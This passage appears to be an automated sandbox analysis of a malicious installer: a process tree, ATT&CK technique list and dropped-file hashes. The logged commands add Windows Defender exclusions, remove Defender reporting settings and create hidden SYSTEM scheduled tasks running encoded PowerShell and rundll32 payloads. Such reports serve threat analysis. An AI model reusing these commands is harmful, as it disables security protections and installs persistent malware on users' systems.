"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\fVOjzNJnrpzVEBSlwdR" /t REG_DWORD /d 0 /reg:64
3⤵
PID:2060

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\soPbJSnyYpUn" /t REG_DWORD /d 0 /reg:64
3⤵
PID:2220

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\tYpmsAfMhZJjC" /t REG_DWORD /d 0 /reg:32
3⤵
PID:3356

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\soPbJSnyYpUn" /t REG_DWORD /d 0 /reg:32
3⤵
PID:1956

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\tYpmsAfMhZJjC" /t REG_DWORD /d 0 /reg:64
3⤵
PID:1572

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\LyiCYymMZpGaxkVB /t REG_DWORD /d 0 /reg:32
3⤵
PID:3668

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\LyiCYymMZpGaxkVB /t REG_DWORD /d 0 /reg:64
3⤵
PID:3024

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
3⤵
PID:4752

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
3⤵
PID:5536

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
3⤵
PID:3484

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\iuFLplCWxXXtgEsyg /t REG_DWORD /d 0 /reg:32
3⤵
PID:6084

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
3⤵
PID:5292

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\iuFLplCWxXXtgEsyg /t REG_DWORD /d 0 /reg:64
3⤵
PID:5892

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\abwkRiEBwNRzQKfS /t REG_DWORD /d 0 /reg:32
3⤵
PID:2848

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\abwkRiEBwNRzQKfS /t REG_DWORD /d 0 /reg:64
3⤵
PID:5036

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "gcpuJpDAi" /SC once /ST 01:33:14 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
2⤵
- Creates scheduled task(s)
PID:5564

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "gcpuJpDAi"
2⤵
PID:3920

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "gcpuJpDAi"
2⤵
PID:2156

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "PHlLWhQbsYkHEzniL" /SC once /ST 08:08:40 /RU "SYSTEM" /TR "\"C:\Windows\Temp\abwkRiEBwNRzQKfS\LeqYLcAZTxOJcGH\lPAipat.exe\" EU /site_id 690689 /S" /V1 /F
2⤵
- Creates scheduled task(s)
PID:2028

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "PHlLWhQbsYkHEzniL"
2⤵
PID:3484

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 4748 -ip 4748
1⤵
PID:6036

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
1⤵
PID:3000

C:\Windows\system32\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
2⤵
PID:1880

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
1⤵
PID:5484

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
1⤵
PID:900

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:5952

C:\Windows\Temp\abwkRiEBwNRzQKfS\LeqYLcAZTxOJcGH\lPAipat.exe
C:\Windows\Temp\abwkRiEBwNRzQKfS\LeqYLcAZTxOJcGH\lPAipat.exe EU /site_id 690689 /S
1⤵
PID:3368

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "bNGgFdDsypyoejEjNE"
2⤵
PID:5956

C:\Windows\SysWOW64\cmd.exe
cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
2⤵
PID:5928

C:\Windows\SysWOW64\reg.exe
REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
3⤵
PID:1544

C:\Windows\SysWOW64\cmd.exe
cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
2⤵
PID:2488

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\BFSKmjPPU\wWoBtE.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "SrGDWMrvBGJoPhL" /V1 /F
2⤵
- Creates scheduled task(s)
PID:2124

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "SrGDWMrvBGJoPhL2" /F /xml "C:\Program Files (x86)\BFSKmjPPU\OnXaGOx.xml" /RU "SYSTEM"
2⤵
- Creates scheduled task(s)
PID:3360

C:\Windows\SysWOW64\schtasks.exe
schtasks /END /TN "SrGDWMrvBGJoPhL"
2⤵
PID:4172

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "SrGDWMrvBGJoPhL"
2⤵
PID:2980

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "jAbXjqMGhwRzps" /F /xml "C:\Program Files (x86)\UOZzlXLQFzOU2\edEodyt.xml" /RU "SYSTEM"
2⤵
- Creates scheduled task(s)
PID:428

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "GVUauNgnIlgAw2" /F /xml "C:\ProgramData\LyiCYymMZpGaxkVB\qfxtdGI.xml" /RU "SYSTEM"
2⤵
- Creates scheduled task(s)
PID:2608

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "zgUtzgmyfvDWxmMsc2" /F /xml "C:\Program Files (x86)\fVOjzNJnrpzVEBSlwdR\XgfXcMA.xml" /RU "SYSTEM"
2⤵
- Creates scheduled task(s)
PID:5180

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "dZFiumCJlHgAFVjsApe2" /F /xml "C:\Program Files (x86)\tYpmsAfMhZJjC\oAMKWvs.xml" /RU "SYSTEM"
2⤵
- Creates scheduled task(s)
PID:5572

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "HoYcEZzwQJLmwPuGU" /SC once /ST 12:24:46 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\abwkRiEBwNRzQKfS\dZFPlIMb\EyYFAFz.dll\",#1 /site_id 690689" /V1 /F
2⤵
- Creates scheduled task(s)
PID:3252

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "HoYcEZzwQJLmwPuGU"
2⤵
PID:4312

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "QCiVj1" /SC once /ST 16:42:34 /F /RU "Admin" /TR "\"C:\Program Files\Mozilla Firefox\firefox.exe\""
2⤵
- Creates scheduled task(s)
PID:1360

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "QCiVj1"
2⤵
PID:448

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "QCiVj1"
2⤵
PID:5388

C:\Windows\SysWOW64\cmd.exe
cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:32
2⤵
PID:3800

C:\Windows\SysWOW64\reg.exe
REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:32
3⤵
PID:4828

C:\Windows\SysWOW64\cmd.exe
cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:64
2⤵
PID:6096

C:\Windows\SysWOW64\reg.exe
REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:64
3⤵
PID:3324

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "PHlLWhQbsYkHEzniL"
2⤵
PID:5444

C:\Windows\SysWOW64\reg.exe
REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
1⤵
PID:2076

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe"
1⤵
PID:4520

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe"
2⤵
PID:2280

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2280.0.1569080730\1845301027" -parentBuildID 20221007134813 -prefsHandle 1596 -prefMapHandle 1588 -prefsLen 20890 -prefMapSize 232771 -appDir "C:\Program Files\Mozilla Firefox\browser" - {b78f6927-20aa-46b5-9baf-f2e2da9946ac} 2280 "\\.\pipe\gecko-crash-server-pipe.2280" 1688 21e54c0a258 gpu
3⤵
PID:5776

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2280.1.1737082501\1690318654" -parentBuildID 20221007134813 -prefsHandle 2112 -prefMapHandle 2108 -prefsLen 20890 -prefMapSize 232771 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {8f744f3f-7c83-410d-af82-eb7ff43cdd5f} 2280 "\\.\pipe\gecko-crash-server-pipe.2280" 2132 21e54747f58 socket
3⤵
PID:2488

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2280.2.726756811\95820351" -childID 1 -isForBrowser -prefsHandle 3368 -prefMapHandle 3364 -prefsLen 21452 -prefMapSize 232771 -jsInitHandle 1160 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {3fd95720-e434-4457-ae1d-ebaf3ffcd094} 2280 "\\.\pipe\gecko-crash-server-pipe.2280" 3340 21e583a6658 tab
3⤵
PID:5236

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2280.3.748760030\629029143" -childID 2 -isForBrowser -prefsHandle 2804 -prefMapHandle 2888 -prefsLen 26129 -prefMapSize 232771 -jsInitHandle 1160 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {998e44b4-bcdd-4fc8-9939-1bfb8820cdea} 2280 "\\.\pipe\gecko-crash-server-pipe.2280" 3532 21e4845f558 tab
3⤵
PID:5072

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2280.4.487025528\1853685707" -childID 3 -isForBrowser -prefsHandle 4040 -prefMapHandle 4024 -prefsLen 26968 -prefMapSize 232771 -jsInitHandle 1160 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {24512b09-f4e6-4b23-b036-24a94321b111} 2280 "\\.\pipe\gecko-crash-server-pipe.2280" 4052 21e5a105958 tab
3⤵
PID:5124

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2280.5.1447011890\1360288161" -childID 4 -isForBrowser -prefsHandle 4908 -prefMapHandle 4896 -prefsLen 26968 -prefMapSize 232771 -jsInitHandle 1160 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {90b44339-97e7-447c-9016-944019a35153} 2280 "\\.\pipe\gecko-crash-server-pipe.2280" 4920 21e5b5e9858 tab
3⤵
PID:376

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2280.6.968168630\1501309091" -childID 5 -isForBrowser -prefsHandle 5448 -prefMapHandle 5444 -prefsLen 27303 -prefMapSize 232771 -jsInitHandle 1160 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {5c006e0a-7f61-44f4-8ab2-dd22af5a7c73} 2280 "\\.\pipe\gecko-crash-server-pipe.2280" 5460 21e4845a958 tab
3⤵
PID:4612

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2280.7.1859968464\612875390" -childID 6 -isForBrowser -prefsHandle 5652 -prefMapHandle 5656 -prefsLen 27303 -prefMapSize 232771 -jsInitHandle 1160 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {d6b23200-a846-4d76-b4f3-893bd0a9d820} 2280 "\\.\pipe\gecko-crash-server-pipe.2280" 5344 21e5d139458 tab
3⤵
PID:5316

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2280.8.1941675896\1254167612" -childID 7 -isForBrowser -prefsHandle 5800 -prefMapHandle 5620 -prefsLen 27303 -prefMapSize 232771 -jsInitHandle 1160 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {994f6e47-14a0-4b3a-bdf9-84582296996f} 2280 "\\.\pipe\gecko-crash-server-pipe.2280" 5448 21e5a105958 tab
3⤵
PID:3696

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2280.10.143828757\2090262741" -childID 9 -isForBrowser -prefsHandle 6008 -prefMapHandle 5996 -prefsLen 27303 -prefMapSize 232771 -jsInitHandle 1160 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {bb6d7381-c9da-4cdc-ad59-6c301ab3ce95} 2280 "\\.\pipe\gecko-crash-server-pipe.2280" 6204 21e5d5f8a58 tab
3⤵
PID:4760

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2280.9.686197585\490964458" -childID 8 -isForBrowser -prefsHandle 6032 -prefMapHandle 5972 -prefsLen 27303 -prefMapSize 232771 -jsInitHandle 1160 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {17ef5591-84fa-4c0b-86e0-f4c8780526d9} 2280 "\\.\pipe\gecko-crash-server-pipe.2280" 6020 21e4846b258 tab
3⤵
PID:2644

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 536 -p 4748 -ip 4748
1⤵
PID:5480

C:\Windows\system32\rundll32.EXE
C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\abwkRiEBwNRzQKfS\dZFPlIMb\EyYFAFz.dll",#1 /site_id 690689
1⤵
PID:5160

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\abwkRiEBwNRzQKfS\dZFPlIMb\EyYFAFz.dll",#1 /site_id 690689
2⤵
PID:5748

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "HoYcEZzwQJLmwPuGU"
3⤵
PID:6112

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 564 -p 4748 -ip 4748
1⤵
PID:2396

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 360 -p 4748 -ip 4748
1⤵
PID:2144

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe"
1⤵
PID:5632

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe"
2⤵
PID:5820

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="5820.0.523229912\1191477150" -parentBuildID 20221007134813 -prefsHandle 1444 -prefMapHandle 1436 -prefsLen 21074 -prefMapSize 232943 -appDir "C:\Program Files\Mozilla Firefox\browser" - {e8650010-1980-4964-acc9-ffec4a38bbcf} 5820 "\\.\pipe\gecko-crash-server-pipe.5820" 1592 19cce9da458 gpu
3⤵
PID:1984

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="5820.1.147035509\1044917766" -parentBuildID 20221007134813 -prefsHandle 2012 -prefMapHandle 2008 -prefsLen 21074 -prefMapSize 232943 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {4dcf0630-a4cc-4ed1-9691-50e38600012e} 5820 "\\.\pipe\gecko-crash-server-pipe.5820" 2044 19cce83df58 socket
3⤵
PID:5568

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="5820.2.151447030\222506587" -childID 1 -isForBrowser -prefsHandle 3324 -prefMapHandle 3628 -prefsLen 21656 -prefMapSize 232943 -jsInitHandle 952 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {cef007db-0203-49f8-9172-02fe8882474d} 5820 "\\.\pipe\gecko-crash-server-pipe.5820" 3564 19cd3984358 tab
3⤵
PID:4596

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="5820.4.870391151\449965029" -childID 3 -isForBrowser -prefsHandle 4164 -prefMapHandle 4168 -prefsLen 27105 -prefMapSize 232943 -jsInitHandle 952 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {c2575c9d-383c-4d30-ae6c-7b978483deca} 5820 "\\.\pipe\gecko-crash-server-pipe.5820" 4264 19cd52a9558 tab
3⤵
PID:6020

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="5820.3.45521948\1229308370" -childID 2 -isForBrowser -prefsHandle 4076 -prefMapHandle 4072 -prefsLen 26314 -prefMapSize 232943 -jsInitHandle 952 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {51fc4040-46e2-4ac4-b7cc-e6feccb4ebfc} 5820 "\\.\pipe\gecko-crash-server-pipe.5820" 4084 19cd52a6e58 tab
3⤵
PID:4224

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="5820.5.519581231\694315287" -childID 4 -isForBrowser -prefsHandle 2328 -prefMapHandle 2308 -prefsLen 27220 -prefMapSize 232943 -jsInitHandle 952 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {15d76cb1-3e7f-4c77-a6f1-12c163edb037} 5820 "\\.\pipe\gecko-crash-server-pipe.5820" 4668 19cd64ead58 tab
3⤵
PID:376

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="5820.8.825845973\777969477" -childID 7 -isForBrowser -prefsHandle 5660 -prefMapHandle 5664 -prefsLen 27555 -prefMapSize 232943 -jsInitHandle 952 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {96ad06c4-c76a-436e-8fa3-efdfd095bcb3} 5820 "\\.\pipe\gecko-crash-server-pipe.5820" 5744 19cd609d258 tab
3⤵
PID:5780

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="5820.7.98891601\1300593256" -childID 6 -isForBrowser -prefsHandle 5428 -prefMapHandle 5456 -prefsLen 27555 -prefMapSize 232943 -jsInitHandle 952 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {9de01b32-418c-4024-9811-efca0be05f95} 5820 "\\.\pipe\gecko-crash-server-pipe.5820" 5484 19cd609b758 tab
3⤵
PID:5812

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="5820.6.1825392907\54087711" -childID 5 -isForBrowser -prefsHandle 5380 -prefMapHandle 5452 -prefsLen 27555 -prefMapSize 232943 -jsInitHandle 952 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {75729961-2a04-4f5a-8c3d-b3690ccc111e} 5820 "\\.\pipe\gecko-crash-server-pipe.5820" 5384 19cd609c958 tab
3⤵
PID:5444

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 480 -p 4748 -ip 4748
1⤵
PID:1456

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Program Files (x86)\BWngBackup\SyncBackupShell.exe
Filesize
2.5MB

MD5
d905333aefcab413d2676f5ec991a619

SHA1
2bc95deb7467fd70042692f1c1910a9fe211b84d

SHA256
308344da305de7a768ef1e93152518dc2f1b49bf3f64874fbdaee6a379610583

SHA512
e304cb4b08e2c0d4220190e0bd8a7e306b68018d9188cf41506e974c71953f22988c2469008dc5d7a98db2ea97faaeb725cb4bb52f5417e99f718e879031f997

Download Submit
C:\Program Files (x86)\BWngBackup\SyncBackupShell.exe
Filesize
2.5MB

MD5
d905333aefcab413d2676f5ec991a619

SHA1
2bc95deb7467fd70042692f1c1910a9fe211b84d

SHA256
308344da305de7a768ef1e93152518dc2f1b49bf3f64874fbdaee6a379610583

SHA512
e304cb4b08e2c0d4220190e0bd8a7e306b68018d9188cf41506e974c71953f22988c2469008dc5d7a98db2ea97faaeb725cb4bb52f5417e99f718e879031f997

Download Submit
C:\Program Files (x86)\CRDBH\CR_DBF.exe
Filesize
4.9MB

MD5
2ff653e08f087b45946ef1c7c01a9464

SHA1
ad63dc04a31e58d4e9ae150d2249e7ee31918725

SHA256
5724c391a069aecb6a3033b6f16327ec872b7f27bc115457edb3871a854ab1a8

SHA512
90a5bf7df8e5807d3dca5c0041098198176c8eff4d82412248308fa418f1f05670b34de83f1b65832122a7070f74934d5be1f355bbba6de789aba506b576e3fe

Download Submit
C:\Program Files (x86)\CRDBH\CR_DBF.exe
Filesize
4.9MB

MD5
2ff653e08f087b45946ef1c7c01a9464

SHA1
ad63dc04a31e58d4e9ae150d2249e7ee31918725

SHA256
5724c391a069aecb6a3033b6f16327ec872b7f27bc115457edb3871a854ab1a8

SHA512
90a5bf7df8e5807d3dca5c0041098198176c8eff4d82412248308fa418f1f05670b34de83f1b65832122a7070f74934d5be1f355bbba6de789aba506b576e3fe

Download Submit
C:\Program Files (x86)\CRDBH\CR_DBF.exe
Filesize
4.9MB

MD5
2ff653e08f087b45946ef1c7c01a9464

SHA1
ad63dc04a31e58d4e9ae150d2249e7ee31918725

SHA256
5724c391a069aecb6a3033b6f16327ec872b7f27bc115457edb3871a854ab1a8

SHA512
90a5bf7df8e5807d3dca5c0041098198176c8eff4d82412248308fa418f1f05670b34de83f1b65832122a7070f74934d5be1f355bbba6de789aba506b576e3fe

Download Submit
C:\Program Files (x86)\CRDBH\RepairDbf.ini
Filesize
25KB

MD5
86b2261e438bf13c302dd625ab9fd369

SHA1
955075956e06c462eb121f122e2a7fe99ea7d799

SHA256
29674c7e228af7f14634eb625b650316d7c961506648c019d0a66451646a772e

SHA512
281660f905f02364ddefe8b634fe8fbd2040bee7c39ae6a2590fd0f807cd058459d1bc79b459b8c055952a445690d02b48d05d4e43e0d2e9cee9327cef3d46a4

Download Submit
C:\Program Files (x86)\Erkalo 4.6\Erkalo46.exe
Filesize
4.6MB

MD5
b8c86236d64c42dc597bb374faf4481c

SHA1
524d99ae9e2c4b4abe360fa4e29807d95f99e5ef

SHA256
59657d63b310ec12fd22c96f03a4cfef255f607af2668759b42db556239d9779

SHA512
1a27f1e4de8de2c15eff7122e02b1598a4f0841960b6001a5a5cf7ca1861a9325fd47b6d51cc539b26cd6811b608c8ead010bc7ac4a5c7c6924f252864a3cd5c

Download Submit
C:\Program Files (x86)\Erkalo 4.6\Erkalo46.exe
Filesize
4.6MB

MD5
b8c86236d64c42dc597bb374faf4481c

SHA1
524d99ae9e2c4b4abe360fa4e29807d95f99e5ef

SHA256
59657d63b310ec12fd22c96f03a4cfef255f607af2668759b42db556239d9779

SHA512
1a27f1e4de8de2c15eff7122e02b1598a4f0841960b6001a5a5cf7ca1861a9325fd47b6d51cc539b26cd6811b608c8ead010bc7ac4a5c7c6924f252864a3cd5c

Download Submit
C:\Program Files (x86)\Erkalo 4.6\Erkalo46.exe
Filesize
4.6MB

MD5
b8c86236d64c42dc597bb374faf4481c

SHA1
524d99ae9e2c4b4abe360fa4e29807d95f99e5ef

SHA256
59657d63b310ec12fd22c96f03a4cfef255f607af2668759b42db556239d9779

SHA512
1a27f1e4de8de2c15eff7122e02b1598a4f0841960b6001a5a5cf7ca1861a9325fd47b6d51cc539b26cd6811b608c8ead010bc7ac4a5c7c6924f252864a3cd5c

Download Submit
C:\Program Files\Mozilla Firefox\browser\features\{A5735E22-7BD8-4CED-A24E-FBBD2D9CABB9}.xpi
Filesize
378KB

MD5
a91f3114651625e5cdd720c298ec131a

SHA1
4c0c20053932b1cd832f32c5f9f5d0beeb3a3342

SHA256
0f03a1a15b6fa7782f5688eb736cb82e96df2528ed543ca1ccf99268ee66d536

SHA512
efb4d184772e3f968f1c9599ba044dd033c9e577ba495e875d2cf2175ec47dd21a96e99a123089ca48a90e097c8a78d3343fa0687f9e62e291c448a47395fec9

Download Submit
C:\ProgramData\FileOptimizer\FileOptimizer.exe
Filesize
4.6MB

MD5
